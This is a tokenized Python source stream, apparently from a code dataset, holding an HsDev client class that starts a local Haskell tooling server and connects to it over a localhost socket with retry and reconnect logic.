"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call", "\\u", "error_", "(_", "self_", ",_", "e_", ",_", "ds_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "\\u", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "(_", "'{", "0", "}", " ", "return", "s", " ", "error", ":", " ", "{", "1", "},", " ", "{", "2", "}'_", "._", "format_", "(_", "self_", "._", "command_", ",_", "e_", ",_", "format\\u", "error", "\\u", "details_", "(_", "ds_", ")_", ")_", ",_", "log", "\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "callback_", "(_", "self_", "._", "on", "\\u", "error_", ",_", "e_", ",_", "ds_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Autoco", "nnect", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Util_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Static", " ", "creat", "ors_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sock", "et", " ", "functions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Commands_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "port_", "=_", "4567", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "port_", "=_", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "connecti", "ng_", "=_", "threading_", "._", "Event_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "connected_", "=_", "threading_", "._", "Event_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "socket_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "listener_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "hs", "dev", "\\u", "address_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "autocon", "nect", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "map_", "=_", "Locke", "d", "Object_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "id_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "connect", "\\u", "fun_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "part_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "on", "\\u", "connected_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "on", "\\u", "disconnected", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "on", "\\u", "reconnect_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "del\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "reconnect", "\\u", "function_", "(_", "self_", ",_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "connect", "\\u", "fun_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connect", "\\u", "fun_", "=_", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "reconnect_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "connect", "\\u", "fun_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'", "Recon", "necti", "ng", " ", "to", " ", "hs", "dev", "...'_", ",_", "log", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "callback_", "(_", "self_", "._", "on", "\\u", "reconnect_", ",_", "name_", "=_", "'", "Hs", "Dev", ".", "on", "\\u", "reconnect", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "connect", "\\u", "fun_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'", "No", " ", "reconnect", " ", "function", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "run", "\\u", "server_", "(_", "port_", "=_", "4567", "_", ",_", "cache_", "=_", "None_", ",_", "log", "\\u", "file_", "=_", "None_", ",_", "log", "\\u", "config_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "=_", "conc", "at", "\\u", "args_", "(_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "True_", ",_", "[_", "\"", "hs", "dev", "\"_", ",_", "\"", "run", "\"_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "port_", ",_", "[_", "\"--", "port", "\"_", ",_", "str_", "(_", "port_", ")_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "cache_", ",_", "[_", "\"--", "cache", "\"_", ",_", "cache_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "log", "\\u", "file_", ",_", "[_", "\"--", "log", "\"_", ",_", "log", "\\u", "file_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "log", "\\u", "config_", ",_", "[_", "\"--", "log", "-", "config", "\"_", ",_", "log", "\\u", "config_", "]_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "(_", "'", "Start", "ing", " ", "hs", "dev", " ", "server", "'_", ",_", "log", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "call", "\\u", "and", "\\u", "wait_", "(_", "cmd_", ",_", "wait_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "p_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'", "Fail", "ed", " ", "creati", "ng", " ", "hs", "dev", " ", "process", "'_", ",_", "log", "\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "output_", "=_", "crl", "f2", "lf_", "(_", "decode", "\\u", "bytes_", "(_", "p_", "._", "stdout_", "._", "readline_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "re_", "._", "match_", "(_", "r", "'", "^", ".*?", "hs", "dev", ">", " ", "Server", " ", "start", "ed", " ", "at", " ", "port", " ", "(?", "P", "<", "port", ">\\\\", "d", "+)$'_", ",_", "output_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'", "hs", "dev", " ", "server", " ", "start", "ed", " ", "at", " ", "port", " ", "{", "0", "}'_", "._", "format_", "(_", "m_", "._", "group_", "(_", "'", "port", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "stdout_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "stderr_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "start", "\\u", "server_", "(_", "port_", "=_", "4567", "_", ",_", "cache_", "=_", "None_", ",_", "log", "\\u", "file_", "=_", "None_", ",_", "log", "\\u", "config_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "=_", "conc", "at", "\\u", "args_", "(_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "True_", ",_", "[_", "\"", "hs", "dev", "\"_", ",_", "\"", "start", "\"_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "port_", ",_", "[_", "\"--", "port", "\"_", ",_", "str_", "(_", "port_", ")_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "cache_", ",_", "[_", "\"--", "cache", "\"_", ",_", "cache_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "log", "\\u", "file_", ",_", "[_", "\"--", "log", "\"_", ",_", "log", "\\u", "file_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "log", "\\u", "config_", ",_", "[_", "\"--", "log", "-", "config", "\"_", ",_", "log", "\\u", "config_", "]_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "parse", "\\u", "response_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "}_", "if_", "s_", "._", "isspace", "_", "(_", ")_", "else_", "json_", "._", "loads_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "'", "error", "'_", ":_", "'", "Inva", "lid", " ", "response", "'_", ",_", "'", "deta", "il", "s", "'_", ":_", "s_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "(_", "'", "Start", "ing", " ", "hs", "dev", " ", "server", "'_", ",_", "log", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ret_", "=_", "call", "\\u", "and", "\\u", "wait", "\\u", "tool_", "(_", "cmd_", ",_", "'", "hs", "dev", "'_", ",_", "''_", ",_", "None_", ",_", "None_", ",_", "None_", ",_", "check", "\\u", "enabled_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ret_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "ret_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "client_", "(_", "port_", "=_", "4567", "_", ",_", "cache_", "=_", "None_", ",_", "autocon", "nect", "_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "\\u", "server_", "(_", "port_", "=_", "port_", ",_", "cache_", "=_", "cache_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h_", "=_", "Hs", "Dev_", "(_", "port_", "=_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h_", "._", "connect_", "(_", "autocon", "nect", "_", "=_", "autocon", "nect", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "h_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "client", "\\u", "async_", "(_", "port_", "=_", "4567", "_", ",_", "cache_", "=_", "None_", ",_", "autocon", "nect", "_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "\\u", "server_", "(_", "port_", "=_", "port_", ",_", "cache_", "=_", "cache_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h_", "=_", "Hs", "Dev_", "(_", "port_", "=_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h_", "._", "connect", "\\u", "async_", "(_", "autocon", "nect", "_", "=_", "autocon", "nect", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "h_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "connect", "\\u", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "reconnect", "\\u", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "connect_", "(_", "self_", ",_", "tries_", "=_", "10_", ",_", "delay_", "=_", "1.0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "socket_", "=_", "socket_", "._", "socket_", "(_", "socket_", "._", "AF", "\\u", "INET_", ",_", "socket_", "._", "SOCK", "\\u", "STREAM_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "0_", ",_", "tries_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'", "connecti", "ng", " ", "to", " ", "hs", "dev", " ", "server", " ", "({", "0", "}).", "..'_", "._", "format_", "(_", "n_", ")_", ",_", "log", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "socket_", "._", "connect_", "(_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "self_", "._", "port_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "hs", "dev", "\\u", "socket_", "=_", "self_", "._", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "hs", "dev", "\\u", "address_", "=_", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set\\u", "connected_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "listener_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "self_", "._", "listen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "listener_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "(_", "'", "connect", "ed", " ", "to", " ", "hs", "dev", " ", "server", "'_", ",_", "log", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "callback_", "(_", "self_", "._", "on", "\\u", "connected_", ",_", "name_", "=_", "'", "Hs", "Dev", ".", "on", "\\u", "connect", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'", "fail", "ed", " ", "to", " ", "connect", " ", "to", " ", "hs", "dev", " ", "server", " ", "({", "0", "})'_", "._", "format_", "(_", "n_", ")_", ",_", "log", "\\u", "warning_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "delay_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "reconnect", "\\u", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "connect", "\\u", "async_", "(_", "self_", ",_", "tries_", "=_", "10_", ",_", "delay_", "=_", "1.0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "thread_", "=_", "threading_", "._", "Thread_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "target_", "=_", "self_", "._", "connect_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "kwargs_", "=_", "{_", "'", "trie", "s", "'_", ":_", "tries_", ",_", "'", "dela", "y", "'_", ":_", "delay_", ",_", "'", "just", "\\u", "connect", "'_", ":_", "True_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "thread_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "wait_", "(_", "self_", ",_", "timeout_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "connected_", "._", "wait_", "(_", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "close_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "is", "\\u", "uncon", "nect", "ed_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "connected_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "hs", "dev", "\\u", "socket_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hs", "dev", "\\u", "socket_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "hs", "dev", "\\u", "socket_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "socket_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "connecti", "ng_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "connecti", "ng_", "._", "is", "\\u", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "connected_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u 